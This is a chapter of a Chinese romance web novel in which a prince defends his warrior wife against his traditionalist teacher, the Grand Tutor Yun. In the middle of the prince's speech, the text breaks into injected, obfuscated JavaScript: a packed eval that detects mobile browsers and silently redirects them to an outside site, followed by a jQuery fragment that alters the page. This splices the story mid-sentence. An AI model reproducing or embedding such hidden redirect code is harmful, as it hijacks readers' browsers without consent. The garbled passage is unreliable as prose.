自昨日回客栈直至到陵州,止烟一句话都没和晏修说过,她知道这是她自己心里的隔阂,和旁人都无关,可清醒和克制是两回事。


    此时此刻她不说话,晏修反而是庆幸的,他怕她一开口便是恨他想离开他。


    马车驶进陵州城,往东面而行,在云府外停下。


    云府上下已恭候多时,马车刚停下,两人还未下马车,云百昭便带领众人跪下道:


    “恭迎晏王晏王妃,千岁千岁千千岁。”


    晏修听到老师的声音,忙下车将人扶起来,“老师这是做什么,是要折煞本王吗?”


    “你的孝心我知道,但礼不可废。”云百昭看向晏修的眼神,是久别重逢的喜悦,自己的学生学有所成的骄傲以及拳拳爱护之心。


    止烟站在晏修身侧,不动声色的看着这位老人家,头发虽已花白,可仍老态龙钟精神矍铄,尤其是那双眼睛,炯炯有神不见浑浊,一看便是个有大智慧的老人。


    “止嫣,这是我同你说的我的老师,云太傅。”


    “老师,这是我的妻子,赢止嫣。”


    晏修相互介绍,止烟行礼道:“云太傅。”


    看到止烟的时候,云百昭的笑意淡了些,只略微点头便罢。


    来自女人的第六感,止烟觉得这个云太傅好像很讨厌她,不是不喜欢,是讨厌。


    云百昭拉着晏修进府,止烟正要跟上,丫鬟却提醒道:“王妃,正门只有男子可走,王妃需随奴婢走偏门。”


    止烟眉头微蹙,这是什么破规矩,心中虽无语,但本着来者是客的原则,她还是入乡随俗,就在她正要迈步时,晏修的声音传来:“等等。”


    他对云百昭行礼,两步走到止烟身边牵起她,“老师,本王与王妃夫妻一体,当同进同退,王妃若是只能走偏门,那本王也只好和王妃一起走偏门了。”


    云百昭看止烟的眼神像是在看红颜祸水,不轻不重的哼了一声,率先进了府门。


    云祈笑着打圆场道:“今日王爷王妃大驾,云府蓬荜生辉,王爷与王妃伉俪情深,自是要一起的。”


    他向止烟行礼道:“府内规矩或与王府不同,若有得罪,还请王妃多担待。”


    “无妨。”止烟嘴上说着,眼睛却一眨不眨的盯着他看,她从刚才下马车便注意到了他,不为别的,只因为他那张脸长得很是漂亮。


    男生女相,却又不阴柔,自有一副阳刚之气,那双桃花眼只是微微含笑便已能摄人心魂,她不敢想象若是它暗送秋波或是对谁深情,会有多戳人。


    察觉到止烟的眼神,晏修危险眯眼,看到他带着威压的眼神,云祈却是一派自然,甚至眼神还很是得意炫耀,你家王妃不会是喜欢上我了吧?朋友妻不可欺,可又不能让姑娘伤心,这可怎么办呢?


    晏修眼神回:找死?


    “不知这位是?”止烟问道。


    云祈示意晏修介绍。


    “云三公子云祈。”晏修心不甘情不愿。


    止烟装作一副原来云三公子便是你的神情,实际上心里:云三公子?云祈?没听过。


    “云三公子生的可真俊俏,不知可否婚配?”


    云祈再次对晏修挑衅扬眉,“不曾。”


    “婚约呢?”


    “无。”


    晏修的脸色瞬间黑到极点,可下一刻,便雨转晴,他听止烟一本正经的问道:“早就听闻江南盛行男风,莫非云公子也好此道嘛?”


    云祈的笑意僵在脸上:“……”


    晏修忍住笑意问“是如此吗?”


    “你说呢!”云祈咬牙切齿。


    果然是不是一家人不进一家门,两缺德玩意儿成一家了!


    三人说话间,已到了隐清居。


    晏修仰头看此牌匾,感慨道:“隐居放言,身中清,废中权。这么多年,老师终是用上了这块牌匾。”


    清正廉明,做人清白。


    “爷爷只邀请了两位,我便先退下了。”云祈行礼后退离开。


    止烟在心中不禁感叹,不愧是大儒家族出来的人,举止儒雅,进退有度,和她这种武将家族出来的就是不一样。


    云百昭见两人来了,做了个请的动作“坐吧。”


    两人行礼落座,云百昭看向止烟道:“听祈儿说,你上战场,还帮勉之打了胜仗?”


    “正是。”止烟不卑不亢。


    不想云百昭却重哼一声,不悦道:“打仗是男人该做的事,你一个女人家去掺和什么?你可知男女授受不亲?你又可知妇德妇言妇容妇功?”


    “那不过是你们这些酸儒用来约束女子的罢了,知不知道重要吗?”止烟挺直腰背,坚定自信:


    “我只知天下兴亡匹夫有责,我还知质胜文则野,文胜质则史,我始终认为,天下非男人之天下,亦非女人之天下,而是人之天下。


    恕我直言,太傅读了这么多圣贤书,还如此贬低女性,大儒之名,言过其实。”


    “真是唯女子与小人为难养也!”云百昭看向晏修:“这便是你的好王妃!顶撞长辈,性格彪悍,毫无规矩,牙尖嘴利!”


    “老师息怒,止烟她……”


    “你别替她狡辩开脱,当初陛下欲给你赐婚,老夫便不同意,赢家冯家虽是世家,可家风不可取,你就应当娶自小贞静娴淑,知书达理,被家族培育得极好的大家闺秀!”云百昭越说越气,这个赢止嫣无论哪点都不配做勉之的王妃!


    “现在生气有什么用?你要真有本事,让陛下别赐婚啊!说得像是我得了多大的益处,晏修受了多大的委屈似的,我还不愿嫁呢!”止烟真是笑死了,敢情她就是皮球呗,谁都可以踢一脚。


    “竖子!”


    止烟还要开口,手就被晏修紧紧按住,他眸色幽深,看着她冷声道:“别说了。”


    他听到她说他不愿嫁他,心情跌到了谷底。


    而止烟以为他是在责怪她,此时此刻只有心寒,什么要带她来江南玩,根本就是场鸿门宴!


    不就是觉得她配不上他嘛,何必转弯抹角的,直说便是,她又不是一定要死皮赖脸的当这个晏王妃。


    之前还说什么王府后院有她足矣,全是骗人的!


    “老师,我敬重您,可刚才您的话,我不认同。”晏修正色道:


    “老师或许不知,若是没有止烟,我和王军不仅不能灭北狄,还会损


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459342|149281||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    失惨重,此战,她当居首功,她确实是女子,可那又如何,在三城十四州,凭能力吃饭,不论男女。


    再者,这场婚事是父皇母后严选赐婚,止烟嫁与我后,因我的原因已受了不少委屈,作为夫君,我只会觉得亏欠于她,宠她惯她是我的本意,他日她若是真被我宠坏,我这个始作俑者担着便是,至于现在……”


    他手一转,与止烟十指相扣,眼神温柔缱绻,“我的夫人,是全天下最厉害的女子,她枪法精湛,马术一绝,兵法倒背如流,战场上威风凛凛,最重要的是,她是唯一能与我并肩作战之人。


    我这人,杀名在外,各家小姐避如蛇蝎,唯有夫人,她脾气好,性格好,善良,心细,从不计较我的性子脾气,我能娶到夫人,三生有幸,若真要论,是我配不上她,是以,我将倾我所有给她,晏王妃也只会是她。”


    他再次看向云百昭,眼神坚定,“老师刚才那些话,请您以后别说了,老师若无其他事,我们便先行告退。”


    看着两人携手离开的背影,云百昭心中是震撼的,勉之自幼沉默寡言,他自教他以来,他除了背诵课文外,从未说过这么多话,可今日,为了维护妻子,竟说了这么多。


    他叹息,“自古英雄难过美人关啊。”


    心中同样震撼的,还有止烟,她的大脑已经被他的那番话撞得七荤八素,由着他拉着自己走。


    云府是很标准的苏派建筑,游廊曲折蜿蜒,园林山环水绕,随处可见的各式雕刻极题字,婉约精致。


    出了隐逸斋,晏修牵着她走过游廊,穿过假山,走到名曰锦绣亭的亭子处。


    “抱歉,我不知道老师对你的意见竟然会如此的大,我应该再问清楚一些的。”晏修道歉。


    止烟仍在云里雾里,她听清了他的话,但一时间不知道怎么回答他。


    没有得到她的回应,他以为她还在生气,“你既不开心,咱们便不住云府了,换个住处,可好?”


    止烟摇头。


    “不好?”晏修问。


    “不是,不用换了,就住这吧,你此行除了参加婚礼,本就是要来看老师的,出去住不方便。”她抿唇,“其实太傅刚才说的话,我的耳朵早就听出茧子了。”


    她自嘲一笑:“可是不论听过多少次,再次听到还是会生气。”


    “这便是你当初同我说的,希望有一天能男女平等的原因吗?”晏修问。


    止烟点头,可是这太难了,愚公尚且能移山,可她连山怎么移都不知道。


    “你是什么时候意识到这点的?”晏修问。


    总要有一个契机,让她有这样的想法,这样的冲动。


    “我……”


    脑中的警报再次响起,她最终只是摇了摇头。


    “不能说?”


    “嗯。”


    “没事,那等你能说的时候,我再听。”晏修沉默了一会儿,心里忐忑道:


    “我刚才说的那番话,你……”


    止烟神色慌乱,该来的还是来了,“我……”


    “二位让我好找啊,说体己话也不必在这烈日下说吧。”云祈张开扇子遮太阳,施施然走来,打断了止烟的话。